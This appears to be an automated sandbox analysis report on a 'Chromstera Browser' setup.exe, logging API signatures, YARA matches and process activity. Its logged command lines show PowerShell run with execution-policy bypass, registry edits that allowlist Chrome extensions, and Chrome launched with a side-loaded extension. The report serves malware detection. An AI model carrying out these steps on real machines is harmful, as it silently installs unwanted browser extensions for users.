Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BDEF30 __set_se_translator,SetUnhandledExceptionFilter,	0_2_00BDEF30
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00D80424 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00D80424
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BDC5D0 __set_se_translator,SetUnhandledExceptionFilter,	3_2_00BDC5D0
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00D84FE3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00D84FE3
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BDEF30 __set_se_translator,SetUnhandledExceptionFilter,	3_2_00BDEF30
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_00168138 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00168138
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_001682CB SetUnhandledExceptionFilter,	8_2_001682CB
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0016C5B3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0016C5B3
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0016784D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_0016784D
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0C906C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FF77C0C906C
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0C9924 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF77C0C9924
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0C9B0C SetUnhandledExceptionFilter,	16_2_00007FF77C0C9B0C
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0CF478 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF77C0CF478
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A478906C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	54_2_00007FF7A478906C
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4789924 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	54_2_00007FF7A4789924
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4789B0C SetUnhandledExceptionFilter,	54_2_00007FF7A4789B0C
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A478F478 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	54_2_00007FF7A478F478

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: setup.exe, type: SAMPLE
Source: Yara match	File source: amsi64_7964.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: setup.exe PID: 7404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: setup.exe PID: 7728, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7964, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Installer\6bc77d.msi, type: DROPPED
Source: Yara match	File source: C:\Windows\Installer\MSICC46.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Chromstera Solutions\Chromstera Browser 1.0.0.0\install\Chromnius-Main.msi, type: DROPPED

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\msiexec.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Windows\SystemTemp\pssD27E.ps1" -propFile "C:\Windows\SystemTemp\msiD25B.txt" -scriptFile "C:\Windows\SystemTemp\scrD25C.ps1" -scriptArgsFile "C:\Windows\SystemTemp\scrD25D.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."

Contains functionality to launch a program with higher privileges

Source: C:\Windows\Installer\MSI4739.tmp

Code function: 16_2_00007FF77C096D60 GetWindowsDirectoryW,GetForegroundWindow,ShellExecuteExW,ShellExecuteExW,GetModuleHandleW,GetProcAddress,GetProcessId,AllowSetForegroundWindow,GetModuleHandleW,GetProcAddress,Sleep,EnumWindows,SetWindowPos,WaitForSingleObject,GetExitCodeProcess,GetWindowThreadProcessId,GetWindowLongPtrW,

16_2_00007FF77C096D60

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\Desktop\setup.exe "C:\Users\user\Desktop\setup.exe" /i "C:\Users\user\AppData\Roaming\Chromstera Solutions\Chromstera Browser 1.0.0.0\install\Chromnius-Main.msi" AI_EUIMSI=1 APPDIR="C:\Program Files (x86)\Chromstera Browser" SECONDSEQUENCE="1" CLIENTPROCESSID="7404" AI_MORE_CMD_LINE=1	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssED0B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiECF7.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrECF8.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrECF9.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss1394.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msi1332.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scr1333.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scr1334.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Windows\SystemTemp\pssD27E.ps1" -propFile "C:\Windows\SystemTemp\msiD25B.txt" -scriptFile "C:\Windows\SystemTemp\scrD25C.ps1" -scriptArgsFile "C:\Windows\SystemTemp\scrD25D.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."	Jump to behavior
Source: C:\Windows\Installer\MSI4739.tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\chrome.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Google\Chrome\Extensions\" /v "path" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Google\Chrome\Extensions\" /v "version" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Google\Chrome\Extensions\" /v "path" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "\Google\Chrome\Extensions\" /v "version" /t REG_SZ /d /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\apps-helper"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 5
Source: C:\Windows\Installer\MSIFB77.tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\edge.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\Desktop\setup.exe "c:\users\user\desktop\setup.exe" /i "c:\users\user\appdata\roaming\chromstera solutions\chromstera browser 1.0.0.0\install\chromnius-main.msi" ai_euimsi=1 appdir="c:\program files (x86)\chromstera browser" secondsequence="1" clientprocessid="7404" ai_more_cmd_line=1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -noninteractive -executionpolicy bypass -file "c:\windows\systemtemp\pssd27e.ps1" -propfile "c:\windows\systemtemp\msid25b.txt" -scriptfile "c:\windows\systemtemp\scrd25c.ps1" -scriptargsfile "c:\windows\systemtemp\scrd25d.txt" -propsep " :<->: " -linesep " <<:>> " -testprefix "_testvalue."
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -noninteractive -executionpolicy bypass -file "c:\users\user\appdata\local\temp\pssed0b.ps1" -propfile "c:\users\user\appdata\local\temp\msiecf7.txt" -scriptfile "c:\users\user\appdata\local\temp\screcf8.ps1" -scriptargsfile "c:\users\user\appdata\local\temp\screcf9.txt" -propsep " :<->: " -linesep " <<:>> " -testprefix "_testvalue."
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -noninteractive -executionpolicy bypass -file "c:\users\user\appdata\local\temp\pss1394.ps1" -propfile "c:\users\user\appdata\local\temp\msi1332.txt" -scriptfile "c:\users\user\appdata\local\temp\scr1333.ps1" -scriptargsfile "c:\users\user\appdata\local\temp\scr1334.txt" -propsep " :<->: " -linesep " <<:>> " -testprefix "_testvalue."
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\Desktop\setup.exe "c:\users\user\desktop\setup.exe" /i "c:\users\user\appdata\roaming\chromstera solutions\chromstera browser 1.0.0.0\install\chromnius-main.msi" ai_euimsi=1 appdir="c:\program files (x86)\chromstera browser" secondsequence="1" clientprocessid="7404" ai_more_cmd_line=1	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -noninteractive -executionpolicy bypass -file "c:\users\user\appdata\local\temp\pssed0b.ps1" -propfile "c:\users\user\appdata\local\temp\msiecf7.txt" -scriptfile "c:\users\user\appdata\local\temp\screcf8.ps1" -scriptargsfile "c:\users\user\appdata\local\temp\screcf9.txt" -propsep " :<->: " -linesep " <<:>> " -testprefix "_testvalue."	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -noninteractive -executionpolicy bypass -file "c:\users\user\appdata\local\temp\pss1394.ps1" -propfile "c:\users\user\appdata\local\temp\msi1332.txt" -scriptfile "c:\users\user\appdata\local\temp\scr1333.ps1" -scriptargsfile "c:\users\user\appdata\local\temp\scr1334.txt" -propsep " :<->: " -linesep " <<:>> " -testprefix "_testvalue."	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -noninteractive -executionpolicy bypass -file "c:\windows\systemtemp\pssd27e.ps1" -propfile "c:\windows\systemtemp\msid25b.txt" -scriptfile "c:\windows\systemtemp\scrd25c.ps1" -scriptargsfile "c:\windows\systemtemp\scrd25d.txt" -propsep " :<->: " -linesep " <<:>> " -testprefix "_testvalue."	Jump to behavior

Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe

Code function: 8_2_0013BCD0 LocalFree,GetLastError,GetLastError,LocalAlloc,GetLastError,LocalFree,LocalFree,GetLastError,LocalFree,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,GetLastError,LocalFree,SetSecurityDescriptorDacl,GetLastError,LocalFree,

8_2_0013BCD0

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00CC72E0 GetCurrentProcess,OpenProcessToken,GetLastError,GetTokenInformation,GetTokenInformation,GetLastError,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,GetLastError,CloseHandle,

0_2_00CC72E0

Language, Device and Operating System Detection

Contains functionality to query CPU information (cpuid)

Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe

Code function: 8_2_00167DEC cpuid

8_2_00167DEC

Contains functionality to query locales information (e.g. system language)

Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_00188091
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: GetLocaleInfoW,	8_2_00188197
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_00188266
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: EnumSystemLocalesW,	8_2_0018073A
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: GetLocaleInfoW,	8_2_00180CB7
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: GetLocaleInfoEx,	8_2_00167283
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: EnumSystemLocalesW,	8_2_00187BA4
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: EnumSystemLocalesW,	8_2_00187BEF
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: EnumSystemLocalesW,	8_2_00187C8A
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	8_2_00187D15
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,	8_2_000DBE10
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: GetLocaleInfoW,	8_2_00187F68
Source: C:\Windows\Installer\MSI4739.tmp	Code function: GetLocaleInfoEx,FormatMessageA,	16_2_00007FF77C0A2530
Source: C:\Windows\Installer\MSI4739.tmp	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	16_2_00007FF77C0EB6E0
Source: C:\Windows\Installer\MSI4739.tmp	Code function: EnumSystemLocalesW,	16_2_00007FF77C0E4710
Source: C:\Windows\Installer\MSI4739.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	16_2_00007FF77C0EBF38
Source: C:\Windows\Installer\MSI4739.tmp	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	16_2_00007FF77C0EC114
Source: C:\Windows\Installer\MSI4739.tmp	Code function: EnumSystemLocalesW,	16_2_00007FF77C0EBA2C
Source: C:\Windows\Installer\MSI4739.tmp	Code function: EnumSystemLocalesW,	16_2_00007FF77C0EBAFC
Source: C:\Windows\Installer\MSI4739.tmp	Code function: GetLocaleInfoEx,	16_2_00007FF77C0C83A4
Source: C:\Windows\Installer\MSI4739.tmp	Code function: GetLocaleInfoW,	16_2_00007FF77C0E4C54
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: GetLocaleInfoEx,FormatMessageA,	54_2_00007FF7A4762530
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	54_2_00007FF7A47AB6E0
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: EnumSystemLocalesW,	54_2_00007FF7A47A4710
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	54_2_00007FF7A47ABF38
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	54_2_00007FF7A47AC114
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: EnumSystemLocalesW,	54_2_00007FF7A47ABAFC
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: EnumSystemLocalesW,	54_2_00007FF7A47ABA2C
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: GetLocaleInfoEx,	54_2_00007FF7A47883A4
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: GetLocaleInfoW,	54_2_00007FF7A47A4C54

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\sys_min_down.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\sys_min_hot.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\sys_min_hot.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\sys_min_normal.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\sys_min_inactive.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_top_left.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_top_left_inactive.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_top_mid.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_top_mid_inactive.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_caption.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_caption_inactive.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_top_right.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_top_right_inactive.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_left.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_left_inactive.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_right.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_right_inactive.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_bottom_left.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_bottom_left_inactive.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_bottom_mid.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_bottom_mid_inactive.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_bottom_right.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_bottom_right_inactive.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\dialog.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\dialog.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\banner.jpg VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
